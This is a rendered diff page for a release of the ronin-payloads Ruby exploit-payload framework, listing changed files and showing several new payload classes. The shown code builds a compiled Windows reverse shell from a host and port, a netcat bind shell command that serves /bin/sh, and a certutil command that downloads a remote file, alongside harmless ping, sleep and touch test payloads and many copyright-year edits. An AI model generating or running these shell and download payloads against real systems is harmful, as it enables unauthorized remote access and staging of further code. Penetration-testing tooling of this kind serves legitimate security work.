ronin-payloads 0.1.4 → 0.2.0.rc1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +4 -3
- data/.gitignore +1 -0
- data/ChangeLog.md +62 -0
- data/Gemfile +6 -4
- data/README.md +31 -8
- data/Rakefile +10 -0
- data/data/completions/ronin-payloads +127 -0
- data/data/completions/ronin-payloads.yml +16 -0
- data/gemspec.yml +5 -1
- data/lib/ronin/payloads/asm_payload.rb +1 -1
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.c +61 -0
- data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.rb +84 -0
- data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.c +63 -0
- data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb +87 -0
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/netcat/bind_shell.rb +51 -0
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ping.rb +52 -0
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/sleep.rb +49 -0
- data/lib/ronin/payloads/builtin/cmd/touch.rb +49 -0
- data/lib/ronin/payloads/builtin/cmd/windows/download.rb +70 -0
- data/lib/ronin/payloads/builtin/cmd/zsh/reverse_shell.rb +55 -0
- data/lib/ronin/payloads/builtin/groovy/reverse_shell.rb +54 -0
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb +63 -0
- data/lib/ronin/payloads/builtin/js/node/reverse_shell.rb +55 -0
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
- data/lib/ronin/payloads/builtin/php/download_exec.php.erb +96 -0
- data/lib/ronin/payloads/builtin/php/download_exec.rb +54 -0
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +1 -1
- data/lib/ronin/payloads/builtin/test/cmd.rb +53 -0
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
- data/lib/ronin/payloads/builtin/test/url.rb +53 -0
- data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
- data/lib/ronin/payloads/c_payload.rb +4 -60
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +3 -3
- data/lib/ronin/payloads/cli/commands/completion.rb +64 -0
- data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +1 -1
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +3 -6
- data/lib/ronin/payloads/cli/commands/show.rb +44 -1
- data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +5 -2
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +1 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +1 -1
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/registry.rb +1 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +1 -1
- data/lib/ronin/payloads/go_payload.rb +6 -2
- data/lib/ronin/payloads/groovy_payload.rb +49 -0
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +6 -2
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +1 -1
- data/lib/ronin/payloads/metadata/os.rb +1 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/c_compiler.rb +250 -0
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +4 -2
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +6 -2
- data/lib/ronin/payloads/nashorn_payload.rb +51 -0
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +1 -1
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +1 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +6 -2
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +1 -1
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +1 -1
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +1 -1
- data/man/ronin-payloads-build.1 +17 -31
- data/man/ronin-payloads-build.1.md +15 -11
- data/man/ronin-payloads-completion.1 +76 -0
- data/man/ronin-payloads-completion.1.md +78 -0
- data/man/ronin-payloads-encode.1 +13 -25
- data/man/ronin-payloads-encode.1.md +12 -8
- data/man/ronin-payloads-encoder.1 +10 -19
- data/man/ronin-payloads-encoder.1.md +8 -4
- data/man/ronin-payloads-encoders.1 +9 -17
- data/man/ronin-payloads-encoders.1.md +7 -3
- data/man/ronin-payloads-irb.1 +9 -16
- data/man/ronin-payloads-irb.1.md +6 -2
- data/man/ronin-payloads-launch.1 +12 -21
- data/man/ronin-payloads-launch.1.md +9 -5
- data/man/ronin-payloads-list.1 +10 -17
- data/man/ronin-payloads-list.1.md +7 -3
- data/man/ronin-payloads-new.1.md +15 -11
- data/man/ronin-payloads-show.1 +12 -21
- data/man/ronin-payloads-show.1.md +9 -5
- data/man/ronin-payloads.1 +19 -27
- data/man/ronin-payloads.1.md +17 -10
- data/scripts/setup +58 -0
- metadata +34 -9
@@ -0,0 +1,87 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/c_payload'
|
23
|
+
require 'ronin/payloads/metadata/os'
|
24
|
+
require 'ronin/payloads/mixins/reverse_shell'
|
25
|
+
require 'ronin/payloads/mixins/tempfile'
|
26
|
+
|
27
|
+
module Ronin
|
28
|
+
module Payloads
|
29
|
+
module Bin
|
30
|
+
module Windows
|
31
|
+
#
|
32
|
+
# Windows C reverse shell that executes "cmd".
|
33
|
+
#
|
34
|
+
class ReverseShell < CPayload
|
35
|
+
|
36
|
+
include Metadata::OS
|
37
|
+
include Mixins::ReverseShell
|
38
|
+
include Mixins::Tempfile
|
39
|
+
|
40
|
+
register 'bin/windows/reverse_shell'
|
41
|
+
|
42
|
+
os :windows
|
43
|
+
|
44
|
+
param :arch, Enum[:"x86-64", :i686], default: :"x86-64",
|
45
|
+
desc: "The target arch"
|
46
|
+
|
47
|
+
param :os, Enum[:windows], default: :windows,
|
48
|
+
desc: 'The target OS'
|
49
|
+
|
50
|
+
author "postmodern"
|
51
|
+
|
52
|
+
summary 'Windows C reverse shell'
|
53
|
+
description <<~DESC
|
54
|
+
Windows reverse shell that executes "cmd" and is written in C.
|
55
|
+
|
56
|
+
Note: this payload requires mingw32.
|
57
|
+
DESC
|
58
|
+
|
59
|
+
references [
|
60
|
+
"https://github.com/izenynn/c-reverse-shell#readme",
|
61
|
+
"https://github.com/izenynn/c-reverse-shell/blob/main/windows.c"
|
62
|
+
]
|
63
|
+
|
64
|
+
# The path to the `reverse_shell.c` file.
|
65
|
+
SOURCE_FILE = File.join(__dir__,'reverse_shell.c')
|
66
|
+
|
67
|
+
#
|
68
|
+
# Builds the shellcode.
|
69
|
+
#
|
70
|
+
def build
|
71
|
+
tempfile('reverse_shell', ext: '.c') do |tempfile|
|
72
|
+
compile(SOURCE_FILE, defs: {
|
73
|
+
'CLIENT_IP' => "\"#{params[:host]}\"",
|
74
|
+
'CLIENT_PORT' => params[:port]
|
75
|
+
},
|
76
|
+
libs: %w[ws2_32],
|
77
|
+
output: tempfile.path)
|
78
|
+
|
79
|
+
@payload = File.binread(tempfile.path)
|
80
|
+
end
|
81
|
+
end
|
82
|
+
|
83
|
+
end
|
84
|
+
end
|
85
|
+
end
|
86
|
+
end
|
87
|
+
end
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -0,0 +1,51 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
require 'ronin/payloads/mixins/bind_shell'
|
24
|
+
|
25
|
+
module Ronin
|
26
|
+
module Payloads
|
27
|
+
module CMD
|
28
|
+
module Netcat
|
29
|
+
#
|
30
|
+
# A basic netcat bind shell command.
|
31
|
+
#
|
32
|
+
# @since 0.2.0
|
33
|
+
#
|
34
|
+
class BindShell < CommandPayload
|
35
|
+
|
36
|
+
include Mixins::BindShell
|
37
|
+
|
38
|
+
register 'cmd/netcat/bind_shell'
|
39
|
+
|
40
|
+
#
|
41
|
+
# Builds the netcat bind shell command.
|
42
|
+
#
|
43
|
+
def build
|
44
|
+
@payload = "nc -lp #{port} -e /bin/sh"
|
45
|
+
end
|
46
|
+
|
47
|
+
end
|
48
|
+
end
|
49
|
+
end
|
50
|
+
end
|
51
|
+
end
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -25,7 +25,7 @@ require 'ronin/payloads/mixins/reverse_shell'
|
|
25
25
|
module Ronin
|
26
26
|
module Payloads
|
27
27
|
module CMD
|
28
|
-
module
|
28
|
+
module Node
|
29
29
|
#
|
30
30
|
# A basic `node` (Node.js) reverse shell command.
|
31
31
|
#
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -0,0 +1,52 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
|
24
|
+
module Ronin
|
25
|
+
module Payloads
|
26
|
+
module CMD
|
27
|
+
#
|
28
|
+
# A simple `ping -c 4 127.0.0.1` command.
|
29
|
+
#
|
30
|
+
# @since 0.2.0
|
31
|
+
#
|
32
|
+
class Ping < CommandPayload
|
33
|
+
|
34
|
+
register 'cmd/ping'
|
35
|
+
|
36
|
+
param :host, String, default: '127.0.0.1',
|
37
|
+
desc: 'The host to ping'
|
38
|
+
|
39
|
+
param :count, Integer, default: 4,
|
40
|
+
desc: 'The number of packets to send'
|
41
|
+
|
42
|
+
#
|
43
|
+
# Builds the `ping` command.
|
44
|
+
#
|
45
|
+
def build
|
46
|
+
@payload = "ping -c #{params[:count]} #{params[:host]}"
|
47
|
+
end
|
48
|
+
|
49
|
+
end
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -0,0 +1,49 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
|
24
|
+
module Ronin
|
25
|
+
module Payloads
|
26
|
+
module CMD
|
27
|
+
#
|
28
|
+
# A simple `sleep 5` command.
|
29
|
+
#
|
30
|
+
# @since 0.2.0
|
31
|
+
#
|
32
|
+
class Sleep < CommandPayload
|
33
|
+
|
34
|
+
register 'cmd/sleep'
|
35
|
+
|
36
|
+
param :secs, Integer, default: 5,
|
37
|
+
desc: 'The number of seconds to sleep'
|
38
|
+
|
39
|
+
#
|
40
|
+
# Builds the `sleep` command.
|
41
|
+
#
|
42
|
+
def build
|
43
|
+
@payload = "sleep #{params[:secs]}"
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
47
|
+
end
|
48
|
+
end
|
49
|
+
end
|
@@ -0,0 +1,49 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
|
24
|
+
module Ronin
|
25
|
+
module Payloads
|
26
|
+
module CMD
|
27
|
+
#
|
28
|
+
# A simple `touch /tmp/pwned` command.
|
29
|
+
#
|
30
|
+
# @since 0.2.0
|
31
|
+
#
|
32
|
+
class Touch < CommandPayload
|
33
|
+
|
34
|
+
register 'cmd/touch'
|
35
|
+
|
36
|
+
param :file, String, default: '/tmp/pwned',
|
37
|
+
desc: 'The file to touch'
|
38
|
+
|
39
|
+
#
|
40
|
+
# Builds the `touch` command.
|
41
|
+
#
|
42
|
+
def build
|
43
|
+
@payload = "touch #{params[:file]}"
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
47
|
+
end
|
48
|
+
end
|
49
|
+
end
|
@@ -0,0 +1,70 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
require 'ronin/payloads/metadata/os'
|
24
|
+
|
25
|
+
module Ronin
|
26
|
+
module Payloads
|
27
|
+
module CMD
|
28
|
+
module Windows
|
29
|
+
#
|
30
|
+
# Uses `certutil` to download a file.
|
31
|
+
#
|
32
|
+
# @since 0.2.0
|
33
|
+
#
|
34
|
+
class Download < CommandPayload
|
35
|
+
|
36
|
+
include Metadata::OS
|
37
|
+
|
38
|
+
register 'cmd/windows/download'
|
39
|
+
|
40
|
+
summary 'Downloads a file on Windows'
|
41
|
+
description <<~DESC
|
42
|
+
Uses the `certutil` Windows command to download a URL and save it
|
43
|
+
to a sepcific destination file.
|
44
|
+
|
45
|
+
The technique of using builtin system utilities for alternative
|
46
|
+
purposes is known as Living Off The Land (LOTL). These builtin
|
47
|
+
system binaries, which can be used for alternative purposes, are
|
48
|
+
known as "LOLbins".
|
49
|
+
DESC
|
50
|
+
|
51
|
+
os :windows
|
52
|
+
|
53
|
+
param :url, String, required: true,
|
54
|
+
desc: 'The URL to download'
|
55
|
+
|
56
|
+
param :dest, String, required: true,
|
57
|
+
desc: 'The destination file'
|
58
|
+
|
59
|
+
#
|
60
|
+
# Builds the `certutil` command.
|
61
|
+
#
|
62
|
+
def build
|
63
|
+
@payload = "certutil -urlcache -f '#{params[:url]}' #{params[:dest]}"
|
64
|
+
end
|
65
|
+
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
@@ -0,0 +1,55 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
